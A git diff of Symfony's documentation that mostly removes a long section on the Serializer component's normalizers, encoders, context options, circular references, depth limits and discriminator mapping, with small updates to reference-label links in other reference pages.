:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer` - was introduced in Symfony 6.4. - -.. note:: - - You can also create your own Normalizer to use another structure. Read more at - :doc:`/serializer/custom_normalizer`. - -Certain normalizers are enabled by default when using the Serializer component -in a Symfony application, additional ones can be enabled by tagging them with -:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`. - -Here is an example of how to enable the built-in -:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a -faster alternative to the -:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - get_set_method_normalizer: - class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer - tags: [serializer.normalizer] - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd" - > - <services> - <!-- ... --> - - <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer"> - <tag name="serializer.normalizer"/> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer; - - return static function (ContainerConfigurator $container): void { - $container->services() - // ... - ->set('get_set_method_normalizer', GetSetMethodNormalizer::class) - ->tag('serializer.normalizer') - ; - }; - -.. _component-serializer-encoders: - -Encoders --------- - -Encoders turn **arrays** into **formats** and vice versa. They implement -:class:`Symfony\\Component\\Serializer\\Encoder\\EncoderInterface` -for encoding (array to format) and -:class:`Symfony\\Component\\Serializer\\Encoder\\DecoderInterface` for decoding -(format to array). - -You can add new encoders to a Serializer instance by using its second constructor argument:: - - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Encoder\XmlEncoder; - use Symfony\Component\Serializer\Serializer; - - $encoders = [new XmlEncoder(), new JsonEncoder()]; - $serializer = new Serializer([], $encoders); - -Built-in Encoders -~~~~~~~~~~~~~~~~~ - -The Serializer component provides several built-in encoders: - -:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder` - This class encodes and decodes data in `JSON`_. - -:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder` - This class encodes and decodes data in `XML`_. - -:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder` - This encoder encodes and decodes data in `YAML`_. This encoder requires the - :doc:`Yaml Component </components/yaml>`. - -:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder` - This encoder encodes and decodes data in `CSV`_. - -.. note:: - - You can also create your own Encoder to use another structure. Read more at - :doc:`/serializer/custom_encoders`. - -All these encoders are enabled by default when using the Serializer component -in a Symfony application. - -The ``JsonEncoder`` -~~~~~~~~~~~~~~~~~~~ - -The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP -:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. It can be -useful to modify how these functions operate in certain instances by providing -options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use the serialization -context to pass in these options using the key ``json_encode_options`` or -``json_decode_options`` respectively:: - - $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]); - -These are the options available: - -=============================== =========================================================================================================== ================================ -Option Description Default -=============================== ========================================================================================================== ================================ -``json_decode_associative`` If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise. ``false`` -``json_decode_detailed_errors`` If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package. ``false`` -``json_decode_options`` `$flags`_ passed to :phpfunction:`json_decode` function. ``0`` -``json_encode_options`` `$flags`_ passed to :phpfunction:`json_encode` function. ``\JSON_PRESERVE_ZERO_FRACTION`` -``json_decode_recursion_depth`` Sets maximum recursion depth. ``512`` -=============================== ========================================================================================================== ================================ - -.. versionadded:: 6.4 - - The support of ``json_decode_detailed_errors`` was introduced in Symfony 6.4. - -The ``CsvEncoder`` -~~~~~~~~~~~~~~~~~~ - -The ``CsvEncoder`` encodes to and decodes from CSV. - -The ``CsvEncoder`` Context Options -.................................. - -The ``encode()`` method defines a third optional parameter called ``context`` -which defines the configuration options for the CsvEncoder an associative array:: - - $csvEncoder->encode($array, 'csv', $context); - -These are the options available: - -======================= ===================================================== ========================== -Option Description Default -======================= ===================================================== ========================== -``csv_delimiter`` Sets the field delimiter separating values (one ``,`` - character only) -``csv_enclosure`` Sets the field enclosure (one character only) ``"`` -``csv_end_of_line`` Sets the character(s) used to mark the end of each ``\n`` - line in the CSV file -``csv_escape_char`` Sets the escape character (at most one character) empty string -``csv_key_separator`` Sets the separator for array's keys during its ``.`` - flattening -``csv_headers`` Sets the order of the header and data columns - E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]`` - and ``$options = ['csv_headers' => ['a', 'b', 'c']]`` - then ``serialize($data, 'csv', $options)`` returns - ``a,b,c\n1,2,3`` ``[]``, inferred from input data's keys -``csv_escape_formulas`` Escapes fields containing formulas by prepending them ``false`` - with a ``\t`` character -``as_collection`` Always returns results as a collection, even if only ``true`` - one line is decoded. -``no_headers`` Setting to ``false`` will use first row as headers. ``false`` - ``true`` generate numeric headers. -``output_utf8_bom`` Outputs special `UTF-8 BOM`_ along with encoded data ``false`` -======================= ===================================================== ========================== - -The ``XmlEncoder`` -~~~~~~~~~~~~~~~~~~ - -This encoder transforms arrays into XML and vice versa. - -For example, take an object normalized as following:: - - ['foo' => [1, 2], 'bar' => true]; - -The ``XmlEncoder`` will encode this object like that: - -.. code-block:: xml - - <?xml version="1.0" encoding="UTF-8" ?> - <response> - <foo>1</foo> - <foo>2</foo> - <bar>1</bar> - </response> - -The special ``#`` key can be used to define the data of a node:: - - ['foo' => ['@bar' => 'value', '#' => 'baz']]; - - // is encoded as follows: - // <?xml version="1.0"?> - // <response> - // <foo bar="value"> - // baz - // </foo> - // </response> - -Furthermore, keys beginning with ``@`` will be considered attributes, and -the key ``#comment`` can be used for encoding XML comments:: - - $encoder = new XmlEncoder(); - $encoder->encode([ - 'foo' => ['@bar' => 'value'], - 'qux' => ['#comment' => 'A comment'], - ], 'xml'); - // will return: - // <?xml version="1.0"?> - // <response> - // <foo bar="value"/> - // <qux><!-- A comment --!><qux> - // </response> - -You can pass the context key ``as_collection`` in order to have the results -always as a collection. - -.. note:: - - You may need to add some attributes on the root node:: - - $encoder = new XmlEncoder(); - $encoder->encode([ - '@attribute1' => 'foo', - '@attribute2' => 'bar', - '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']] - ], 'xml'); - - // will return: - // <?xml version="1.0"?> - // <response attribute1="foo" attribute2="bar"> - // <foo bar="value">baz</foo> - // </response> - -.. tip:: - - XML comments are ignored by default when decoding contents, but this - behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``. - - Data with ``#comment`` keys are encoded to XML comments by default. This can be - changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES`` - key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or - directly to the ``$context`` argument of the ``encode()`` method:: - - $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]); - -The ``XmlEncoder`` Context Options -.................................. - -The ``encode()`` method defines a third optional parameter called ``context`` -which defines the configuration options for the XmlEncoder an associative array:: - - $xmlEncoder->encode($array, 'xml', $context); - -These are the options available: - -============================== ================================================= ========================== -Option Description Default -============================== ================================================= ========================== -``xml_format_output`` If set to true, formats the generated XML with ``false`` - line breaks and indentation -``xml_version`` Sets the XML version attribute ``1.0`` -``xml_encoding`` Sets the XML encoding attribute ``utf-8`` -``xml_standalone`` Adds standalone attribute in the generated XML ``true`` -``xml_type_cast_attributes`` This provides the ability to forget the attribute ``true`` - type casting -``xml_root_node_name`` Sets the root node name ``response`` -``as_collection`` Always returns results as a collection, even if ``false`` - only one line is decoded -``decoder_ignored_node_types`` Array of node types (`DOM XML_* constants`_) ``[\XML_PI_NODE, \XML_COMMENT_NODE]`` - to be ignored while decoding -``encoder_ignored_node_types`` Array of node types (`DOM XML_* constants`_) ``[]`` - to be ignored while encoding -``load_options`` XML loading `options with libxml`_ ``\LIBXML_NONET | \LIBXML_NOBLANKS`` -``save_options`` XML saving `options with libxml`_ ``0`` -``remove_empty_tags`` If set to true, removes all empty tags in the ``false`` - generated XML -``cdata_wrapping`` If set to false, will not wrap any value ``true`` - containing one of the following characters ( - ``<``, ``>``, ``&``) in `a CDATA section`_ like - following: ``<![CDATA[...]]>`` -============================== ================================================= ========================== - -.. versionadded:: 6.4 - - The `cdata_wrapping` option was introduced in Symfony 6.4. - -Example with custom ``context``:: - - use Symfony\Component\Serializer\Encoder\XmlEncoder; - - // create encoder with specified options as new default settings - $xmlEncoder = new XmlEncoder(['xml_format_output' => true]); - - $data = [ - 'id' => 'IDHNQIItNyQ', - 'date' => '2019-10-24', - ]; - - // encode with default context - $xmlEncoder->encode($data, 'xml'); - // outputs: - // <?xml version="1.0"?> - // <response> - // <id>IDHNQIItNyQ</id> - // <date>2019-10-24</date> - // </response> - - // encode with modified context - $xmlEncoder->encode($data, 'xml', [ - 'xml_root_node_name' => 'track', - 'encoder_ignored_node_types' => [ - \XML_PI_NODE, // removes XML declaration (the leading xml tag) - ], - ]); - // outputs: - // <track> - // <id>IDHNQIItNyQ</id> - // <date>2019-10-24</date> - // </track> - -The ``YamlEncoder`` -~~~~~~~~~~~~~~~~~~~ - -This encoder requires the :doc:`Yaml Component </components/yaml>` and -transforms from and to Yaml. - -The ``YamlEncoder`` Context Options -................................... - -The ``encode()`` method, like other encoder, uses ``context`` to set -configuration options for the YamlEncoder an associative array:: - - $yamlEncoder->encode($array, 'yaml', $context); - -These are the options available: - -=============== ======================================================== ========================== -Option Description Default -=============== ======================================================== ========================== -``yaml_inline`` The level where you switch to inline YAML ``0`` -``yaml_indent`` The level of indentation (used internally) ``0`` -``yaml_flags`` A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants ``0`` - to customize the encoding / decoding YAML string -=============== ======================================================== ========================== - -.. _component-serializer-context-builders: - -Context Builders ----------------- - -Instead of passing plain PHP arrays to the :ref:`serialization context <serializer_serializer-context>`, -you can use "context builders" to define the context using a fluent interface:: - - use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder; - use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder; - - $initialContext = [ - 'custom_key' => 'custom_value', - ]; - - $contextBuilder = (new ObjectNormalizerContextBuilder()) - ->withContext($initialContext) - ->withGroups(['group1', 'group2']); - - $contextBuilder = (new CsvEncoderContextBuilder()) - ->withContext($contextBuilder) - ->withDelimiter(';'); - - $serializer->serialize($something, 'csv', $contextBuilder->toArray()); - -.. versionadded:: 6.1 - - Context builders were introduced in Symfony 6.1. - -.. note:: - - The Serializer component provides a context builder - for each :ref:`normalizer <component-serializer-normalizers>` - and :ref:`encoder <component-serializer-encoders>`. - - You can also :doc:`create custom context builders </serializer/custom_context_builders>` - to deal with your context values. - -Skipping ``null`` Values ------------------------- - -By default, the Serializer will preserve properties containing a ``null`` value. -You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option -to ``true``:: - - $dummy = new class { - public ?string $foo = null; - public string $bar = 'notNull'; - }; - - $normalizer = new ObjectNormalizer(); - $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]); - // ['bar' => 'notNull'] - -Require all Properties ----------------------- - -By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided. -You can change this behavior by setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option -to ``true``:: - - class Dummy - { - public function __construct( - public string $foo, - public ?string $bar, - ) { - } - } - - $data = ['foo' => 'notNull']; - - $normalizer = new ObjectNormalizer(); - $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]); - // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException - -.. versionadded:: 6.3 - - The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option - was introduced in Symfony 6.3. - -Skipping Uninitialized Properties ---------------------------------- - -In PHP, typed properties have an ``uninitialized`` state which is different -from the default ``null`` of untyped properties. When you try to access a typed -property before giving it an explicit value, you get an error. - -To avoid the Serializer throwing an error when serializing or normalizing an -object with uninitialized properties, by default the object normalizer catches -these errors and ignores such properties. - -You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` -context option to ``false``:: - - class Dummy { - public string $foo = 'initialized'; - public string $bar; // uninitialized - } - - $normalizer = new ObjectNormalizer(); - $result = $normalizer->normalize(new Dummy(), 'json', [AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false]); - // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException as normalizer cannot read uninitialized properties - -.. note:: - - Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize`` - with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set - to ``false`` will throw an ``\Error`` instance if the given object has uninitialized - properties as the normalizer cannot read them (directly or via getter/isser methods). - -.. _component-serializer-handling-circular-references: - -Collecting Type Errors While Denormalizing ------------------------------------------- - -When denormalizing a payload to an object with typed properties, you'll get an -exception if the payload contains properties that don't have the same type as -the object. - -In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to -collect all exceptions at once, and to get the object partially denormalized:: - - try { - $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [ - DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true, - ]); - } catch (PartialDenormalizationException $e) { - $violations = new ConstraintViolationList(); - /** @var NotNormalizableValueException $exception */ - foreach ($e->getErrors() as $exception) { - $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType()); - $parameters = []; - if ($exception->canUseMessageForUser()) { - $parameters['hint'] = $exception->getMessage(); - } - $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null)); - } - - return $this->json($violations, 400); - } - -Handling Circular References ----------------------------- - -Circular references are common when dealing with entity relations:: - - class Organization - { - private string $name; - private array $members; - - public function setName($name): void - { - $this->name = $name; - } - - public function getName(): string - { - return $this->name; - } - - public function setMembers(array $members): void - { - $this->members = $members; - } - - public function getMembers(): array - { - return $this->members; - } - } - - class Member - { - private string $name; - private Organization $organization; - - public function setName(string $name): void - { - $this->name = $name; - } - - public function getName(): string - { - return $this->name; - } - - public function setOrganization(Organization $organization): void - { - $this->organization = $organization; - } - - public function getOrganization(): Organization - { - return $this->organization; - } - } - -To avoid infinite loops, :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` -or :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` -throw a :class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException` -when such a case is encountered:: - - $member = new Member(); - $member->setName('Kévin'); - - $organization = new Organization(); - $organization->setName('Les-Tilleuls.coop'); - $organization->setMembers([$member]); - - $member->setOrganization($organization); - - echo $serializer->serialize($organization, 'json'); // Throws a CircularReferenceException - -The key ``circular_reference_limit`` in the default context sets the number of -times it will serialize the same object before considering it a circular -reference. The default value is ``1``. - -Instead of throwing an exception, circular references can also be handled -by custom callables. This is especially useful when serializing entities -having unique identifiers:: - - $encoder = new JsonEncoder(); - $defaultContext = [ - AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string { - return $object->getName(); - }, - ]; - $normalizer = new ObjectNormalizer(null, null, null, null, null, null, $defaultContext); - - $serializer = new Serializer([$normalizer], [$encoder]); - var_dump($serializer->serialize($org, 'json')); - // {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]} - -.. _serializer_handling-serialization-depth: - -Handling Serialization Depth ----------------------------- - -The Serializer component is able to detect and limit the serialization depth. -It is especially useful when serializing large trees. Assume the following data -structure:: - - namespace Acme; - - class MyObj - { - public string $foo; - - /** - * @var self - */ - public MyObj $child; - } - - $level1 = new MyObj(); - $level1->foo = 'level1'; - - $level2 = new MyObj(); - $level2->foo = 'level2'; - $level1->child = $level2; - - $level3 = new MyObj(); - $level3->foo = 'level3'; - $level2->child = $level3; - -The serializer can be configured to set a maximum depth for a given property. -Here, we set it to 2 for the ``$child`` property: - -.. configuration-block:: - - .. code-block:: php-attributes - - namespace Acme; - - use Symfony\Component\Serializer\Annotation\MaxDepth; - - class MyObj - { - #[MaxDepth(2)] - public MyObj $child; - - // ... - } - - .. code-block:: yaml - - Acme\MyObj: - attributes: - child: - max_depth: 2 - - .. code-block:: xml - - <?xml version="1.0" encoding="UTF-8" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="Acme\MyObj"> - <attribute name="child" max-depth="2"/> - </class> - </serializer> - -The metadata loader corresponding to the chosen format must be configured in -order to use this feature. It is done automatically when using the Serializer component -in a Symfony application. When using the standalone component, refer to -:ref:`the groups documentation <component-serializer-attributes-groups>` to -learn how to do that. - -The check is only done if the ``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key of the serializer context -is set to ``true``. In the following example, the third level is not serialized -because it is deeper than the configured maximum depth of 2:: - - $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]); - /* - $result = [ - 'foo' => 'level1', - 'child' => [ - 'foo' => 'level2', - 'child' => [ - 'child' => null, - ], - ], - ]; - */ - -Instead of throwing an exception, a custom callable can be executed when the -maximum depth is reached. This is especially useful when serializing entities -having unique identifiers:: - - use Symfony\Component\Serializer\Annotation\MaxDepth; - use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; - use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - class Foo - { - public int $id; - - #[MaxDepth(1)] - public MyObj $child; - } - - $level1 = new Foo(); - $level1->id = 1; - - $level2 = new Foo(); - $level2->id = 2; - $level1->child = $level2; - - $level3 = new Foo(); - $level3->id = 3; - $level2->child = $level3; - - $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); - - // all callback parameters are optional (you can omit the ones you don't use) - $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string { - return '/foos/'.$innerObject->id; - }; - - $defaultContext = [ - AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler, - ]; - $normalizer = new ObjectNormalizer($classMetadataFactory, null, null, null, null, null, $defaultContext); - - $serializer = new Serializer([$normalizer]); - - $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]); - /* - $result = [ - 'id' => 1, - 'child' => [ - 'id' => 2, - 'child' => '/foos/3', - ], - ]; - */ - -Handling Arrays ---------------- - -The Serializer component is capable of handling arrays of objects as well. -Serializing arrays works just like serializing a single object:: - - use Acme\Person; - - $person1 = new Person(); - $person1->setName('foo'); - $person1->setAge(99); - $person1->setSportsman(false); - - $person2 = new Person(); - $person2->setName('bar'); - $person2->setAge(33); - $person2->setSportsman(true); - - $persons = [$person1, $person2]; - $data = $serializer->serialize($persons, 'json'); - - // $data contains [{"name":"foo","age":99,"sportsman":false},{"name":"bar","age":33,"sportsman":true}] - -If you want to deserialize such a structure, you need to add the -:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` -to the set of normalizers. By appending ``[]`` to the type parameter of the -:method:`Symfony\\Component\\Serializer\\Serializer::deserialize` method, -you indicate that you're expecting an array instead of a single object:: - - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer; - use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer; - use Symfony\Component\Serializer\Serializer; - - $serializer = new Serializer( - [new GetSetMethodNormalizer(), new ArrayDenormalizer()], - [new JsonEncoder()] - ); - - $data = ...; // The serialized data from the previous example - $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json'); - -Handling Constructor Arguments ------------------------------- - -If the class constructor defines arguments, as usually happens with -`Value Objects`_, the serializer won't be able to create the object if some -arguments are missing. In those cases, use the ``default_constructor_arguments`` -context option:: - - use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - class MyObj - { - public function __construct( - private string $foo, - private string $bar, - ) { - } - } - - $normalizer = new ObjectNormalizer(); - $serializer = new Serializer([$normalizer]); - - $data = $serializer->denormalize( - ['foo' => 'Hello'], - 'MyObj', - null, - [AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [ - 'MyObj' => ['foo' => '', 'bar' => ''], - ]] - ); - // $data = new MyObj('Hello', ''); - -Recursive Denormalization and Type Safety ------------------------------------------ - -The Serializer component can use the :doc:`PropertyInfo Component </components/property_info>` to denormalize -complex types (objects). The type of the class' property will be guessed using the provided -extractor and used to recursively denormalize the inner data. - -When using this component in a Symfony application, all normalizers are automatically configured to use the registered extractors. -When using the component standalone, an implementation of :class:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface`, -(usually an instance of :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor`) must be passed as the 4th -parameter of the ``ObjectNormalizer``:: - - namespace Acme; - - use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor; - use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - class ObjectOuter - { - private ObjectInner $inner; - private \DateTimeInterface $date; - - public function getInner(): ObjectInner - { - return $this->inner; - } - - public function setInner(ObjectInner $inner): void - { - $this->inner = $inner; - } - - public function getDate(): \DateTimeInterface - { - return $this->date; - } - - public function setDate(\DateTimeInterface $date): void - { - $this->date = $date; - } - } - - class ObjectInner - { - public string $foo; - public string $bar; - } - - $normalizer = new ObjectNormalizer(null, null, null, new ReflectionExtractor()); - $serializer = new Serializer([new DateTimeNormalizer(), $normalizer]); - - $obj = $serializer->denormalize( - ['inner' => ['foo' => 'foo', 'bar' => 'bar'], 'date' => '1988/01/21'], - 'Acme\ObjectOuter' - ); - - dump($obj->getInner()->foo); // 'foo' - dump($obj->getInner()->bar); // 'bar' - dump($obj->getDate()->format('Y-m-d')); // '1988-01-21' - -When a ``PropertyTypeExtractor`` is available, the normalizer will also check that the data to denormalize -matches the type of the property (even for primitive types). For instance, if a ``string`` is provided, but -the type of the property is ``int``, an :class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException` -will be thrown. The type enforcement of the properties can be disabled by setting -the serializer context option ``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT`` -to ``true``. - -.. _serializer_interfaces-and-abstract-classes: - -Serializing Interfaces and Abstract Classes -------------------------------------------- - -When dealing with objects that are fairly similar or share properties, you may -use interfaces or abstract classes. The Serializer component allows you to -serialize and deserialize these objects using a *"discriminator class mapping"*. - -The discriminator is the field (in the serialized string) used to differentiate -between the possible objects. In practice, when using the Serializer component, -pass a :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorResolverInterface` -implementation to the :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`. - -The Serializer component provides an implementation of ``ClassDiscriminatorResolverInterface`` -called :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorFromClassMetadata` -which uses the class metadata factory and a mapping configuration to serialize -and deserialize objects of the correct class. - -When using this component inside a Symfony application and the class metadata factory is enabled -as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`, -this is already set up and you only need to provide the configuration. Otherwise:: - - // ... - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata; - use Symfony\Component\Serializer\Mapping\ClassDiscriminatorMapping; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); - - $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory); - - $serializer = new Serializer( - [new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator)], - ['json' => new JsonEncoder()] - ); - -Now configure your discriminator class mapping. Consider an application that -defines an abstract ``CodeRepository`` class extended by ``GitHubCodeRepository`` -and ``BitBucketCodeRepository`` classes: - -.. configuration-block:: - - .. code-block:: php-attributes - - namespace App; - - use App\BitBucketCodeRepository; - use App\GitHubCodeRepository; - use Symfony\Component\Serializer\Annotation\DiscriminatorMap; - - #[DiscriminatorMap(typeProperty: 'type', mapping: [ - 'github' => GitHubCodeRepository::class, - 'bitbucket' => BitBucketCodeRepository::class, - ])] - abstract class CodeRepository - { - // ... - } - - .. code-block:: yaml - - App\CodeRepository: - discriminator_map: - type_property: type - mapping: - github: 'App\GitHubCodeRepository' - bitbucket: 'App\BitBucketCodeRepository' - - .. code-block:: xml - - <?xml version="1.0" encoding="UTF-8" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="App\CodeRepository"> - <discriminator-map type-property="type"> - <mapping type="github" class="App\GitHubCodeRepository"/> - <mapping type="bitbucket" class="App\BitBucketCodeRepository"/> - </discriminator-map> - </class> - </serializer> - -.. note:: - - The values of the ``mapping`` array option must be strings. - Otherwise, they will be cast into strings automatically. - -Once configured, the serializer uses the mapping to pick the correct class:: - - $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json'); - // {"type": "github"} - - $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json'); - // instanceof GitHubCodeRepository - -Learn more ----------- - -.. toctree:: - :maxdepth: 1 - :glob: - - /serializer - -.. seealso:: - - Normalizers for the Symfony Serializer Component supporting popular web API formats - (JSON-LD, GraphQL, OpenAPI, HAL, JSON:API) are available as part of the `API Platform`_ project. - -.. seealso:: - - A popular alternative to the Symfony Serializer component is the third-party - library, `JMS serializer`_ (versions before ``v1.12.0`` were released under - the Apache license, so incompatible with GPLv2 projects). - -.. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/ -.. _`JMS serializer`: https://github.com/schmittjoh/serializer -.. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8 -.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php -.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php -.. _JSON: https://www.json.org/json-en.html -.. _XML: https://www.w3.org/XML/ -.. _YAML: https://yaml.org/ -.. _CSV: https://tools.ietf.org/html/rfc4180 -.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807 -.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark -.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object -.. _`API Platform`: https://api-platform.com -.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php -.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122 -.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php -.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs -.. _seld/jsonlint: https://github.com/Seldaek/jsonlint -.. _$flags: https://www.php.net/manual/en/json.constants.php -.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA diff --git a/reference/attributes.rst b/reference/attributes.rst index 4f784588e23..feadec70d3c 100644 --- a/reference/attributes.rst +++ b/reference/attributes.rst @@ -99,16 +99,18 @@ Security * :ref:`CurrentUser <security-json-login>` * :ref:`IsGranted <security-securing-controller-attributes>` +.. _reference-attributes-serializer: + Serializer ~~~~~~~~~~ -* :ref:`Context <serializer_serializer-context>` +* :ref:`Context <serializer-context>` * :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>` -* :ref:`Groups <component-serializer-attributes-groups-attributes>` +* :ref:`Groups <serializer-groups-attribute>` * :ref:`Ignore <serializer_ignoring-attributes>` * :ref:`MaxDepth <serializer_handling-serialization-depth>` -* :ref:`SerializedName <serializer_name-conversion>` -* :ref:`SerializedPath <serializer-enabling-metadata-cache>` +* :ref:`SerializedName <serializer-name-conversion>` +* :ref:`SerializedPath <serializer-nested-structures>` Twig ~~~~ diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index e194ca2afa5..8e1f6af81fa 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -2981,7 +2981,7 @@ enable_annotations **type**: ``boolean`` **default**: ``true`` -If this option is enabled, serialization groups can be defined using annotations or attributes. +Enables support for annotations or attributes in the serializer component. .. deprecated:: 6.4 @@ -2993,11 +2993,11 @@ enable_attributes **type**: ``boolean`` **default**: ``true`` -If this option is enabled, serialization groups can be defined using `PHP attributes`_. +Enables support for `PHP attributes`_ in the serializer component. .. seealso:: - For more information, see :ref:`serializer-using-serialization-groups-attributes`. + See :ref:`the reference 